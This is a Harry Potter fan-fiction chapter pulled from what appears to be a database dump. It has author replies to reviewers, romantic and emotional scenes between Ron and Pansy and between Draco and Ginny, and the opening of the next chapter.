. c o m / g r o u p / s t a f i c without the spaces, of course) I don&#8217;t think any of them contain the pairings here, though. One pre-slash story and a whole lot of het smutlets. *evil grin* If I could think of a way to do it without fucking everyone off, I&#8217;d sneak some Ron/Draco into AIDE, but I won&#8217;t pull a Cassandra Claire. Honest engine. </p>\n\n<p></p>\n\n<p>\n\n<b>Anise</b>: Thank you for your reviews. I&#8217;m sorry it took me so long to get to reviewing the last two chapters of JotH. I have no excuses. But the reviews are there! Finally. Yes, I fancy Slutty!Hogwarts. Everyone is screwing someone or something. I like to write smut, but I don&#8217;t like plotless stuff so . . . have to make it character driven, you know. And yes, we say that in Florida.</p>\n\n<p> To be completely honest, I <i>don&#8217;t</i> morally judge my characters or their actions. Each one is like a living entity. In RL, I&#8217;m also fairly non-judgemental. Someone likes to have their bottom caned and their skin flayed with a dull spatula, more power to them. Just, erm, don&#8217;t ring me for a date, all right? :D I knew reading that enormous book of Grimm would rub off somehow. It was my favourite as a child and still to this day, I read it. </p>\n\n<p> Poor darling Cathy. You need a break from filming. *pets head* They had better let you chill out for a while before you make a <i>real </i>hack-and-slash film.</p>\n\n<p>\n\n</p>\n\n<b></b><p><b>Asia</b>: Yes, I wrote for Btvs. And yes, I was/am a Buffy/Spike shipper. I will, however, never claim those works as my own. Hmmn. Perhaps the Wesley/Faith vignettes, but that&#8217;s about all. The rest are positively horrid. Ptooey.</p>\n\n<p></p>\n\n<p>\n\n<b>Stephanie</b>: <i>&#8216;And now I have a question. When people enter D/G territory, and go &quot;what should I read?&quot;, people mention Serpent\'s Bride, and that stuff by MochaButterly; if you\'re lucky they mention fearthainn and maybe Anise, but why don\'t they mention \'An Ideal Deatheater\'? </i>As I said to </p>\n\n</font><p><font face="Palatino Linotype" size="4">you, the world may never know. Does anyone else know?</font><i><br>\n\n</i></p><i>\n\n</i><font face="Palatino Linotype" size="4"><p></p>\n\n<i><p></p>\n\n</i><p><i>\n\n</i>On with the arsing fic now! No more talking. Pipe down over there, you. I&#8217;m trying to send subliminal messages to people so they&#8217;ll send me cigarettes and marmalade in the post. Shh.</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<i><p></p>\n\n<p>He caught me in his silken net,</p>\n\n<p>And shut me in his golden cage.</p>\n\n<p></p>\n\n<p>He loves to sit and hear me sing,</p>\n\n<p>Then, laughing, sports and plays with me;</p>\n\n<p>Then stretches out my golden wing,</p>\n\n<p>And mocks my loss of liberty.</p>\n\n<p></p>\n\n<p> ~ Song - William Blake</p>\n\n</i><p></p>\n\n<p></p>\n\n<p> Harry helped Hermione through the portrait hole and into the Gryffindor common room. He hadn&#8217;t bothered to shower after the &#8216;game&#8217; and he was still sweaty and dirty when they sat on one of the sofas in front of the hearth.</p>\n\n<p></p>\n\n<p> It was such a bloody farce! There was no game left to be played after Ron ran off to save <i>Pansy Parkinson </i>and Ginny started to lag behind Seamus. </p>\n\n<p></p>\n\n<p> Harry shook his head and sighed, laying his cheek on Hermione&#8217;s shoulder. He thought about the newest troll attack and what it could mean. Shouldn&#8217;t Dumbledore have done something about the trolls by now?</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m so tired of all this, Hermione. When does it end? When can we leave and start our lives somewhere else? I used to think of Hogwarts as a haven, but it&#8217;s different now. It doesn&#8217;t feel safe or comfortable anymore.&#8221;</p>\n\n<p></p>\n\n<p> Hermione patted his hand and gave it a squeeze. &#8220;It isn&#8217;t much easier out there, Harry. The real world, both Muggle and wizard, is just as scary.&#8221;</p>\n\n<p></p>\n\n<p> He closed his eyes against the heat of the fire. &#8220;There are other things, too, you know. I think that Ron took our leaving last week the wrong way and now we have to apologise to him and explain ourselves.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;We were going to apologise anyway, Harry. Well, at least I was. You were right; I was far too harsh on him. But I was upset and I&#8217;ve been working so hard lately&#8212;&#8221; Hermione broke off and pressed a fluttering hand to her eyes. &#8220;I think that I need a break from all of this. I&#8217;ve pushed and pushed for the past seven years and it&#8217;s starting to get to me. And when I try to be devil-may-care, it never seems <i>right</i> to me.&#8221;</p>\n\n<p></p>\n\n<p> Harry squeezed her hand and kissed it absently. &#8220;You&#8217;ll pull through. We only have a little longer until this will all be behind us. One last adventure.&#8221;</p>\n\n<p></p>\n\n<p> Hermione laughed. &#8220;<i>Life</i> is an adventure, Harry, and we&#8217;re only just starting to live it. We&#8217;re young and there are a billion and one things that lay between here and whatever comes after.&#8221; Hermione drooped. &#8220;I&#8217;ll never get a break.&#8221;</p>\n\n<p></p>\n\n<p> Harry smiled and sat up a little, pulling her in for a kiss. &#8220;If you want a break . . .&#8221; He tapered off and waggled his eyebrows at her.</p>\n\n<p></p>\n\n<p> Hermione smirked and batted him playfully. &#8220;Not now, we still have business to take care of, if you&#8217;re up for it.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Right,&#8221; he sighed, letting his arm slide down to her waist. &#8220;Well, what did you find?&#8221;</p>\n\n<p></p>\n\n<p> She glanced around the common room, and, satisfied that it was deserted, took out her wand and muttered a charm. Harry felt the air around them crackle with energy for a moment, as if someone had just turned on a television.</p>\n\n<p></p>\n\n<p> &#8220;What&#8217;s that?&#8221;</p>\n\n<p></p>\n\n<p> Hermione raised her head and smiled at him proudly. &#8220;<i>That</i> is a Silence Sphere. No one can hear a sound we make within a ten foot radius, even using magical listening devices.&#8221;</p>\n\n<p></p>\n\n<p> Harry laughed and cupped her cheek to kiss her quickly on the mouth. &#8220;Excellent! So are we going down there tonight, then?&#8221;</p>\n\n<p></p>\n\n<p> She nodded. &#8220;It would be better if we didn&#8217;t waste anymore time than necessary. We need to get inside, find out what&#8217;s in the box, and get back out before Snape or Filch comes in and finds us.&#8221;</p>\n\n<p></p>\n\n<p> Harry looked across the room and he could see Crookshanks meowing at them, but he couldn&#8217;t hear the sound. &#8220;Erm, <i>we</i> can&#8217;t hear anything outside of the Sphere either, can we?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No. That&#8217;s the downside, so that means we need to be extra careful tonight. We need the map, your cloak, and this spell. The other twist is that I have to disperse the Sphere in order to cast any spells on that box.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Why don&#8217;t we just transfigure something to look like the box and take the box?&#8221; Harry asked.</p>\n\n<p></p>\n\n<p> She shook her head. &#8220;Snape may have placed a charm on it so it can&#8217;t leave the confines of his office. Besides, glamour transfigurations fade over time and he would be less likely to notice if we simply transfigured what is <i>inside</i> the box and &#8216;borrowed&#8217; it for a while before putting it back after we&#8217;ve studied it.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;So what do you think &#8216;it&#8217; is, anyway? I mean, it must be something really bad to have Hagrid as scared as he was.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t know. It could be anything, really. For all we know, it could be nothing and we&#8217;ve done all of this for no reason. Maybe Hagrid was just paranoid.&#8221;</p>\n\n<p></p>\n\n<p> Harry narrowed his eyes in thought and shook his head. &#8220;No, I&#8217;ve had a bad feeling since I went to see him after Christmas. Whatever it was, it definitely was <i>something</i>.&#8221;</p>\n\n<p></p>\n\n<p> Hermione scoffed. &#8220;You and your weird feelings. <i>You&#8217;ve</i> been around Trelawney too much, Harry. You&#8217;re starting to sound like her.&#8221;</p>\n\n<p></p>\n\n<p> He frowned but said nothing about it further. Hermione never was very good at understanding the less tangible parts of life. Everything was logic. Harry wished that <i>he</i> was able to be more logical, but now that he finally was able to trust his feelings and instincts without fear of Voldemort&#8216;s mind games, he was loathe to give them up.</p>\n\n<p></p>\n\n<p> &#8220;Why don&#8217;t we go down to the Hall, get a nibble, and then come back here to wait? We can&#8217;t go down there now, and Snape will probably be prowling his office until after midnight.&#8221;</p>\n\n<p></p>\n\n<p> Hermione stretched her fingers out in front of her and nodded. &#8220;Sounds wonderful, I&#8217;m starved.&#8221;</p>\n\n<p></p>\n\n<p> Harry smiled and pointed his wand at the invisible bubble around them. &#8220;<i>Finite Incantum</i>.&#8221;</p>\n\n<p></p>\n\n<p> He saw Hermione grinning at him and tilting her head so that her eyes glinted in the firelight wickedly. &#8220;Perhaps after we eat, we can come back upstairs and, um, prepare some more for our N.E.W.T&#8217;s.&#8221;</p>\n\n<p></p>\n\n<p> Harry kissed the tip of her nose; his body unwinding instantly at the knowledge that Hermione wasn&#8217;t going to be all books tonight, despite her promise to <i>prepare</i>. </p>\n\n<p></p>\n\n<p> &#8220;Your wish is my command,&#8221; he said, mock solemn, before kissing her mouth hungrily. Who needed food, anyway?</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Ron was numb when he stumbled into the Gryffindor locker room about an hour after the game. He had taken a walk after their loss, and most of the team had cleared out by the time he came back. The entire time he&#8217;d been walking, Pansy&#8217;s voice echoed in his head, calling him a whore. The word repeated endlessly.</p>\n\n<p></p>\n\n<p> Mumbling to himself, Ron stripped off his dirty corduroys and thick, cable-knit jumper. He grabbed a towel and wobbled into the shower room, shivering when the steam hit his frozen body. The water that came from the tap was warm, though, and he quickly positioned himself under it, soaping up and watching as the mud sluiced off his body and down the drain.</p>\n\n<p></p>\n\n<p> They&#8217;d lost the bloody House Cup. And it was all thanks to his stupid save-the-damsel-in-distress response to Pansy&#8217;s attack. He hadn&#8217;t even known it was her from the air; he&#8217;d just seen someone about to be buggered to bits by a troll and flew to the rescue. Stupid morals. Maybe he was taking this hero thing too far. </p>\n\n<p></p>\n\n<p> Ron blamed that on Harry.</p>\n\n<p></p>\n\n<p> Pansy was right when she&#8217;d said that he was no hero. He was forever destined to be Ronald Weasley, professional sidekick to the stars. Now he wasn&#8217;t even that anymore. </p>\n\n<p></p>\n\n<p> He was still so bloody angry with them! But he needed them in a way he felt that they never needed him. They made him whole and complete when now he was alone and fragmented. Something made him snap at Harry, something inside of Ron made him turn his former friend away. Perhaps it was the anger he still felt because they had left him alone after Hagrid&#8217;s funeral, after he had poured his broken heart out to them. Or perhaps it was some twisted need to torture himself.</p>\n\n<p></p>\n\n<p> It would take a miracle for Harry and Hermione to forgive him now. Especially Hermione as she was the armour under Harry&#8217;s robes: no one sees it, but that doesn&#8217;t mean it isn&#8217;t there. Without her, he could have had a chance to be friends with Harry again - maybe. Who needed women complicating things, anyway?</p>\n\n<p></p>\n\n<p> Ron had everything solid and real, now that he&#8217;d defeated Voldemort and become the champion of wizards everywhere. Galleons rained down on him from a seemingly endless source; the newest model brooms were his for the asking; his father had a cosy office in the same corridor as the Minister for Magic himself. But Ron had little of the more incorporeal things. He&#8217;d traded away friendship, and honour, and love.</p>\n\n<p></p>\n\n<p> Love.</p>\n\n<p></p>\n\n<p> That&#8217;s all he wanted, really: to love someone who loved him back. Was it such a difficult thing to find? He&#8217;d looked for it under the skirt of every female that had accosted him in the past couple of months without realising it. He hadn&#8217;t known, until today, when Pansy called him on it, that what he really wanted was for some lovely, spirited girl to hold him in her arms and make everything go away, someone that he didn&#8217;t have to play hero for just so she would notice him.</p>\n\n<p></p>\n\n<p> He wanted to be lost and found all in the same breath. Did <i>that</i> make him a whore?</p>\n\n<p></p>\n\n<p> Ron soaped up his body, trying to wash away the shame that he felt clinging to his skin. Perhaps if he scrubbed hard enough&#8212; But the water wouldn&#8217;t make it go away; he&#8217;d have to learn to live with it.</p>\n\n<p></p>\n\n<p> Over the sound of the shower, he heard a familiar clacking and groaned. She&#8217;d found him again. &#8220;Parkinson, I&#8217;m trying to wash up,&#8221; he called over his shoulder. &#8220;You can at least wait until I&#8217;m dressed to start your threats.&#8221;</p>\n\n<p></p>\n\n<p> Silence first, then the lopsided clickity-clack of her broken heels against the tiled floor again. Brave girl, Ron thought, maybe he should give her a shock. Smirking, he turned around to face her, not bothering to cover himself. But the smile crumbled when he saw her face.</p>\n\n<p></p>\n\n<p> Through the dirt, tears had obviously fallen, leaving muddied make-up tracks over her cheeks. Pansy&#8217;s eyes burned into his and she lifted the knife in her white-knuckled hand a little higher, preparing to strike.</p>\n\n<p></p>\n\n<p> &#8220;At that again, are you? Well, go ahead and give it a go so I can finish my shower,&#8221; Ron mumbled in a tone that belied the lightness of his words.</p>\n\n<p></p>\n\n<p> Pansy&#8217;s hand started to shake as she stepped closer, and mist from the showerhead clung to her hair like dew. She stood there, not moving for a moment before she dropped the knife with a clatter. Pansy stared up at him, fresh tears spilling from her eyes and rolling down her cheeks, washing away the last traces of her paint charms. Her mouth was slightly open, as if she were dumb with fear or some nameless emotion. Only wisps of her expensive violet perfume lingered in the steam, rising to his nostrils with the strong smell of earth and grass.</p><br>\n\n\n<img src="http://singtoangels.sinfree.net/frf/Pansy24.jpg"><br>\n\n\n<p></p>\n\n<p> &#8220;Are you frightened of me, Weasley?&#8221; she asked hoarsely and without rancour. She sounded more like a child who desperately needed a guarantee than a hardened Slytherin.</p>\n\n<p></p>\n\n<p> Ron gazed into her eyes and ignored the tears. He concentrated on her, for really the first time, and swallowed nervously. Pansy would always be in his life now. Her debt to him was a bond stronger than anything else he knew; ancient magic. But he didn&#8217;t want her indebted to him. He wanted her free. </p>\n\n<p></p>\n\n<p> &#8220;Bloody terrified,&#8221; Ron assured, his tone gentle.</p>\n\n<p></p>\n\n<p> Pansy lifted her hand and splayed it on his chest. Ron noticed that it was the same hand she&#8217;d held the knife with. Her once perfectly manicured nails were ragged and broken, the cold fingers trembling over his heart.</p>\n\n<p></p>\n\n<p> &#8220;I hate you,&#8221; she rasped. &#8220;Do you understand that?&#8221; Pansy&#8217;s mouth twisted in an ugly line. &#8220;I &#8211; <i>hate</i> - you.&#8221; </p>\n\n<p></p>\n\n<p> Ron sighed and kept his eyes locked with hers. Then slowly, as if her touch was poison, he reached up to cover her hand with his own, pulling her body close with his free arm. </p>\n\n<p></p>\n\n<p> He inclined his head down to whisper in her ear. &#8220;I hate you, too.&#8221; </p>\n\n<p></p>\n\n<p> Pansy&#8217;s body shuddered against his and Ron rocked her back and forth, having had much practice at this with his sister when they were young. He noticed that her blonde hair was dull and greyed with dirt and clumps of wet snow, so he grabbed the shampoo and poured some on her head. As he worked it up into a pearly lather, she gripped him tightly. Ron pushed her head back to soap up her face, paying special attention to her stubby nose and the mud splattered on her plump cheeks, carefully gliding his foam-covered thumb over a bruise on her forehead. She kept her eyes closed and leaned into his palm while he continued to clear the mud away.</p>\n\n<p></p>\n\n<p> &#8220;I hate you,&#8221; she mumbled again, water dripping into her mouth and making her white teeth glisten. &#8220;I hate everything about you.&#8221;</p>\n\n<p></p>\n\n<p> Ron nodded and pulled her under the water with him to wash the soap off. &#8220;I hate the way your heels sound on the floor.&#8221;</p>\n\n<p></p>\n\n<p> Pansy opened her eyes and looked up at him through the water streaming down her face, her gaze guileless and subdued. &#8220;I hate your freckles.&#8221;</p>\n\n<p></p>\n\n<p> He fumbled with the frog and toggle on her robes and gently pushed it off of her shoulders. &#8220;I hate your nose.&#8221;</p>\n\n<p></p>\n\n<p> She didn&#8217;t pull her eyes away, even when he started plucking at her green and silver school tie. Pansy lifted her hand and ran it through his hair, studying the strands intently and rubbing them with her thumb. &#8220;I hate your hair.&#8221;</p>\n\n<p></p>\n\n<p> Ron finished unknotting the tie and threw it on the ground with a small, triumphant grin. &#8220;I hate <i>your</i> hair, too.&#8221;</p>\n\n<p></p>\n\n<p> Pansy dropped her hand and allowed him to pull off her muddy school jumper and blouse, her eyes downcast. &#8220;I hate Gryffindor.&#8221; </p>\n\n<p></p>\n\n<p>Ron&#8217;s fingers caught in the solid gold pendant between her breasts, making her breath hitch. His hands looked so . . . normal on her body. They weren&#8217;t freakishly huge, but just right as they slid down her stomach, his freckles the only contrast between them. He released the clasp on her skirt and shoved it over her hips, kicking it away with his toe. &#8220;I hate Slytherin.&#8221;</p>\n\n<p></p>\n\n<p> Pansy stood there in her bra, knickers, and heels while he grabbed a bar of soap and rubbed it over her exposed skin, dipping it into the indention of her belly and up over her bruised ribs. Her eyes were level with his chin and he wished that she were just a little taller so he didn&#8217;t have to look down at her. </p>\n\n<p></p>\n\n<p>&#8220;I hate the fact that you saved me today,&#8221; Pansy whispered.</p>\n\n<p></p>\n\n<p> Ron stopped bathing her and blinked. He could see the tightening of her cool blue eyes as she admitted this to him. Did she really regret not being squeezed to death by the troll? No, that wasn&#8217;t it. She hated that it was <i>he</i> who saved her and not someone else, that her pride was taken by his actions. How could he hate her so much and still want to keep her safe? </p>\n\n<p></p>\n\n<p> How could he hate her, yet still feel guilty for taking the only thing that was purely <i>hers</i>?</p>\n\n<p></p>\n\n<p> It seemed that they should probably have a long talk sometime soon. Ron gazed into her eyes, and he knew that she would one day show him much more than what he saw on the surface. It was instinctive as breathing, this revelation. Ron knew that she was as frightened as he was of the energy between them. It was explosive and new, but then, it had always been there; running hot steam under the surface. He merely hadn&#8217;t noticed until now just what it meant, what it <i>could</i> mean.</p>\n\n<p></p>\n\n<p> They both clung to other people, the same people who overshadowed them. Ron walked a thin line between love and pride with his sister. Perhaps the difference between love and hate was just as blurry. </p>\n\n<p></p>\n\n<p> &#8220;I hate that you saved me, too.&#8221;</p>\n\n<p></p>\n\n<p> Ron lowered his head and kissed Pansy then, pulling her to him with both arms. She reached up to entwine hers around his neck as the water fell on them from above. Pansy responded to him with a deep hunger, her mouth working furiously against his, a sob vibrating her throat. Ron pulled away and admonished her with soft, breathless words before kissing her again.</p>\n\n<p></p>\n\n<p> &#8220;Gently, Pansy,&#8221; he mumbled over her lips. &#8220;Gently.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Ginny pushed open the entrance to Hogwarts and stepped inside. It was completely dark outside now and she only wanted to make it up to her dormitory and rest. Her body was weary and ached all over. She couldn&#8217;t remember the last time she&#8217;d slept properly and Ginny found it difficult to even place one foot in front of the other.</p>\n\n<p></p>\n\n<p> She saw Draco coming up from the dungeons, walking toward the Great Hall for supper, no doubt. Ginny stopped and leaned up against the wall, breathing shallowly as she attempted to hold out just a bit longer. He had to pass by her, though, and she prayed that he would keep going and not notice her. Or at least pretend that he didn&#8217;t.</p>\n\n<p></p>\n\n<p> Draco was always good at pretending.</p>\n\n<p></p>\n\n<p> The lighting in the corridor was dim and she could hear the steady clip of his perfectly polished shoes against the stone. Ginny noticed that he had grown thinner. His cheekbones were sharper, more prominent, and there were deep hollows under his eyes. But Draco&#8217;s robes and trousers were pressed and neat as always, and his hair was carefully styled into place. No matter how he felt inside, Draco would always make the effort to appear indifferent, flawless, and Draco <i>Malfoy</i>.</p>\n\n<p></p>\n\n<p> He noticed her.</p>\n\n<p></p>\n\n<p> Ginny sucked in a breath and pushed away from the wall. She wobbled as her weight settled on her legs more fully, but she drew her head up and looked him square in the eye. Ginny had her pride, too, after all.</p>\n\n<p></p>\n\n<p> &#8220;Hello,&#8221; he said, blankly, as if she were a stranger.</p>\n\n<p></p>\n\n<p> &#8220;Hello,&#8221; she returned, just as empty. Ginny could play this game if she had to, but she didn&#8217;t want to do. She wanted him to hold her and soothe her and tell her that everything was sunny and bright. But that wasn&#8217;t Draco Malfoy.</p>\n\n<p></p>\n\n<p> He started walking again, but stopped to peer at her over his shoulder. &#8220;You should go to the Infirmary, Weasley. You don&#8217;t look well.&#8221;</p>\n\n<p></p>\n\n<p> Concern from him? It didn&#8217;t seem possible. &#8220;I don&#8217;t think Madame Pomfrey has a cure for my malady.&#8221;</p>\n\n<p></p>\n\n<p> Draco turned then and took a few steps toward her. &#8220;And what malady would that be, Weasley? A broken heart?&#8221; he mocked in a falsetto tone. Draco shook his head and smirked, his voice returning to its usual rich and seductive depth. &#8220;You&#8217;re so pathetic. You got what you wanted and I got what I wanted, at least until I didn&#8217;t want it anymore. You can&#8217;t blame <i>me</i> if you became attached.&#8221;</p>\n\n<p></p>\n\n<p> Ginny swallowed back the lump in her throat. &#8220;How can you be so cold, Draco? How can you pretend that I mean nothing to you?&#8221;</p>\n\n<p></p>\n\n<p> His eyes narrowed and he stepped closer. &#8220;Don&#8217;t call me that, you&#8217;ve no right to it.&#8221;</p>\n\n<p></p>\n\n<p> She laughed briefly. It was bloody amusing, and her vision was dimming so that she could barely see his face. Ginny&#8217;s nose was close to Draco&#8217;s chest. His familiar, earthy musk carried on his body heat and rose in waves to meet her. Draco was wearing that sandalwood and amber cologne again and it was making her light-headed.</p>\n\n<p></p>\n\n<p> &#8220;Oh, I&#8217;m so sorry, <i>Malfoy</i>. I forgot that Draco and Malfoy are two different people. Draco may be a snide, sarcastic arse, but Malfoy is just an utter bastard.&#8221; Ginny twisted her lips briefly. She could be brutal, too. After all, she&#8217;d had two masters to teach her the delicate art of cruelty. &#8220;Like father, like son, I suppose.&#8221;</p>\n\n<p></p>\n\n<p> Draco pushed her back into the wall and pinned her against it with his hips, placing an arm on either side of her head. &#8220;Don&#8217;t start with me tonight. I&#8217;m in no mood for your games.&#8221;</p>\n\n<p></p>\n\n<p> She gazed up at him and attempted to hold his eyes steadily, but the sudden movement made her head swim. Ginny&#8217;s eyelids shuttered and her mouth was suddenly dry.</p>\n\n<p></p>\n\n<p> &#8220;Draco, please let me go, I don&#8217;t&#8212;&#8221; She swallowed and closed her eyes. The room was spinning all around her and Ginny couldn&#8217;t find a focal point when she opened her eyes again. &#8220;I don&#8217;t feel well.&#8221;</p>\n\n<p></p>\n\n<p> She could feel his sneer and his hot breath against her ear. &#8220;More games, Weasley? I&#8217;m not amused.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No. No games. I just&#8212;&#8221; Ginny looked into his face and saw a flicker of anxiety in his eyes before he shut down again. She tried to push him away, but her arms were weak and fluttered uselessly between them. &#8220;Please let me go.&#8221;</p>\n\n<p></p>\n\n<p> His eyes searched her face for a moment more, looking for guile or trickery, but he seemed satisfied and released his hold. Ginny stumbled for a moment and slid down the wall to land on her bottom.</p>\n\n<p></p>\n\n<p> All she could see were his shoes and trouser-clad lower legs. Ginny felt his fingers brush the top of her head briefly before he stepped back.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m tired, Draco,&#8221; Ginny whispered. She raised her head to see his face, but it was in full shadow and she could only make out the glacial glittering of his eyes.</p>\n\n<p></p>\n\n<p> Ginny wished that he would swoop her up and tuck her into a warm bed. He&#8217;d curl up behind her and allow her to absorb some of his heat. She was so cold all of a sudden.</p>\n\n<p></p>\n\n<p> Draco bent down and curved his fingers around her upper arms, lifting her into a standing position she could barely hold.</p>\n\n<p></p>\n\n<p> &#8220;Ginny!&#8221; he barked, shaking her a little. &#8220;Stand <i>up</i>! I won&#8217;t carry you.&#8221;</p>\n\n<p></p>\n\n<p> Her head lolled and she could barely make sense of what he was saying, much less comply. &#8220;Draco, please&#8212;&#8221; Ginny licked her lips and gazed at him from under heavy eyelids. &#8220;Help me get to my common room. Please, Draco.&#8221;</p>\n\n<p></p>\n\n<p> She could see him debate the issue, but it didn&#8217;t register in her mind. Draco carefully slipped her down onto the stones and walked toward the Great Hall. He didn&#8217;t turn back to look at her when he opened the doors and strode inside, his cloak swishing gracefully behind him.</p>\n\n<p></p>\n\n<p> Ginny pressed her cheek against the cool, rough stone floor and a tear leaked from her eye. She tried to fight it, but she was too tired and she didn&#8217;t care anymore just who saw her.</p>\n\n<p></p>\n\n<p> After a long moment, she felt a warm hand slip behind her knees and another under her back. The person lifted her up and held her close to their chest. Ginny opened her eyes and was about to thank him for coming back, but stopped when she saw Colin looking down at her expectantly.</p>\n\n<p></p>\n\n<p> &#8220;Malfoy said that you needed some help,&#8221; he whispered, brushing aside a few hairs that clung to her clammy face. &#8220;I&#8217;m taking you to see Madame Pomfrey.&#8221;</p>\n\n<p></p>\n\n<p> Ginny shook her head weakly and closed her eyes. &#8220;No, just take me to my room please. I don&#8217;t need to go to the Infirmary.&#8221; She knew that Colin was frowning at her, but she didn&#8217;t care.</p>\n\n<p></p>\n\n<p> &#8220;Are you sure, Gin? You look crap, no offence.&#8221; </p>\n\n<p></p>\n\n<p> Colin&#8217;s voice rumbled in his chest and it soothed her a bit. She managed a smile. &#8220;You&#8217;re the second person to tell me that today. I&#8217;ll drink some Pepper-Up in the morning and I&#8217;ll be fine. I promise.&#8221; </p>\n\n<p></p>\n\n<p> Ginny bit back a howl. Draco had left her here. He couldn&#8217;t even help her to Gryffindor Tower. He didn&#8217;t want her, and he didn&#8217;t care. Ginny buried her face in Colin&#8217;s robes and allowed herself to cry. </p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m just so tired, Colin,&#8221; she sobbed. Ginny&#8217;s shoulders trembled and Colin murmured sympathies to her, rocking her in his arms.</p>\n\n<p></p>\n\n<p> &#8220;Shh. It&#8217;s all right, Gin-girl, I have you. You&#8217;ll be fine. You don&#8217;t need him.&#8221;</p>\n\n<p></p>\n\n<p> Ginny shook her head and breathed deeply of Colin&#8217;s smell. It was clean: sunshine, new spring grass, and just the slightest acrid taint of photo processing potions.</p>\n\n<p></p>\n\n<p> &#8220;But he needs <i>me</i>, Colin. Don&#8217;t you see?&#8221; Ginny asked him earnestly, studying the boyish innocence of his face, and how the flesh was rounded around the jaw and over his eyes. Would he understand when she didn&#8217;t understand it herself?</p>\n\n<p></p>\n\n<p> &#8220;Draco needs me.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p> Reviews are our friends. Let me know what you think about Ron and Pansy. I quite fancy the pairing, myself. Has all the delicious possibilities of D/G, but with more chances for actual emotions and romance. Likely, the only romance you&#8217;ll get from AIDE, I have the feeling. But perhaps not. I&#8217;ve yet to decide. I don&#8217;t think I write romance well. It always comes off stiff and fake.</p>\n\n<p></p>\n\n<p> I feel a trifle guilty and pathetic for begging so much for reviews in the last chapter. I was having a very bad day and felt unappreciated. But by no means does that mean you shouldn&#8217;t continue! Goodness. Reviews are good. I don&#8217;t expect every chapter or anything, but if you read a chapter you really liked, do let me know. Big thanks from the bottom of my heart to those reviewers who practically write me a novel. I love it when people pick this apart and analyse the details. Truly, it makes my millennium. </p>\n\n<p></p>\n\n<p> Cheers,</p>\n\n<p> Sing *crawls back in her hole*</p></font></blockquote>\n\n '),
	(271, 26, ' <blockquote>\n\n<font face="Palatino Linotype" size="4"><p>\n\n</p><p><i>Author: A fool who, not content with having bored those who have lived with him, insists on tormenting generations to come.<br>\n ~ Montesquieu</i></p>\n\n<p><b>Authour&#8217;s Notes</b>: A nod goes out to Mynuet, Sarea, 714, and a multitude of others. Heads up to Stephanie, the girl who seems to be on a one-woman mission to rec AIDE to the world. Claire and Alexis, for loving me so much. (Remember Alexis: men are from musk, women are from vanilla) My personal Lizard and my Steve for being themselves. And the Lizard of slashiness for drawing some outstanding art for you all to enjoy in chapter 27. Go check out her stuff, she&#8217;s really good. While you&#8217;re at it, read The Prefect&#8217;s Bathroom, located on her site. http://lizardcorner.topcities.com/</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p><i>For it was not into my ear you whispered, but into my heart. It was not my lips you kissed,but my soul.<br>\n ~ Judy Garland</i></p>\n\n<p>When Ron woke up, the room was completely dark. His body was dry now and he could feel Pansy&#8217;s weight pressing on him. He was still naked; she had only her bra and knickers on; and it was freezing. He was hesitant to move for fear of waking her, not to mention it was warm where her body met his, so he decided to stay where he was and make himself a bit more comfortable.</p>\n\n<p></p>\n\n<p> Ron stretched his hand out toward his wand and was just able to grasp it in his fingers, sharply reminded of another time he had crawled for his wand on another cold floor. He summoned his cloak and covered their bodies with it, grinning all the while. The floor of the locker room was cold, but it would have to do. Ron didn&#8217;t feel much like moving. </p>\n\n<p></p>\n\n<p> Pansy stirred in her sleep, tossing an arm over his chest and mumbling to herself. Ron smiled and pulled her closer to him, taking the chance to study her. </p>\n\n<p></p>\n\n<p> She wasn&#8217;t a classic beauty, but pretty enough. Pansy&#8217;s eyes were large, wide, and blue when she was awake, and they were somehow even lovelier because they contrasted with her nose and delicate, thin-lipped mouth. It was as if the imperfection of one feature made the others more attractive.</p>\n\n<p></p>\n\n<p> Her pale hair was cropped off just below the shoulder, and she usually had it set in stiff finger waves, but now it was mussed and slightly damp. Ron decided that he liked it better this way.</p>\n\n<p></p>\n\n<p> He closed his eyes so the sight of her wouldn&#8217;t distract him anymore, and started wondering exactly what had happened. Ron thought that he would&#8217;ve been able to comprehend it better if they had just had a quick shag and went their separate ways. But neither of them wanted that, and both had been content to kiss, and murmur, and pet each other.</p>\n\n<p></p>\n\n<p> Ron didn&#8217;t understand it at all. </p>\n\n<p></p>\n\n<p> One moment she was trying to kill him again, and the next they were snogging and clutching each other as if their very lives depended on it. The whole thing was just bloody confusing and Ron groaned softly. He wondered what, exactly, he&#8217;d gotten himself into.</p>\n\n<p></p>\n\n<p> He didn&#8217;t love her. He couldn&#8217;t love her; he barely even knew her. But there was something about Pansy that called to him, something urgent and desperate and right, and when they kissed, it exploded around them like fireworks.</p>\n\n<p></p>\n\n<p> Ron opened his eyes and looked at Pansy again. What was it about her that touched him inside? He pondered this some more, absentmindedly running his fingers over her upper arm. If Hermione were there, she would pick it all apart into neat, tidy categories and label everything precisely. Maybe that was a start.</p>\n\n<p></p>\n\n<p> Pansy is a Slytherin. She&#8217;s arrogant, bossy, rude, and sneaky. She&#8217;s quick with a wand and probably knows more curses than Snape. Pansy has the <i>most</i> annoying shoes that clatter when she walks and sound like a herd of stampeding hippogriffs coming down the hall. She has an ugly, pug-like nose that she likes to turn up when something annoys her or if she finds the person unworthy of her attention. She&#8217;s slept with half of Slytherin house, including Draco Malfoy.</p>\n\n<p></p>\n\n<p> Pansy is a Slytherin.</p>\n\n<p></p>\n\n<p> That was the biggest hurdle to overcome. Slytherins and Gryffindors just did <i>not</i> get along. It was a Hogwarts tradition that stretched back over a thousand years to when Godric Gryffindor and Salazar Slytherin parted ways. It was just the way things were.</p>\n\n<p></p>\n\n<p> Ron nodded to himself and started 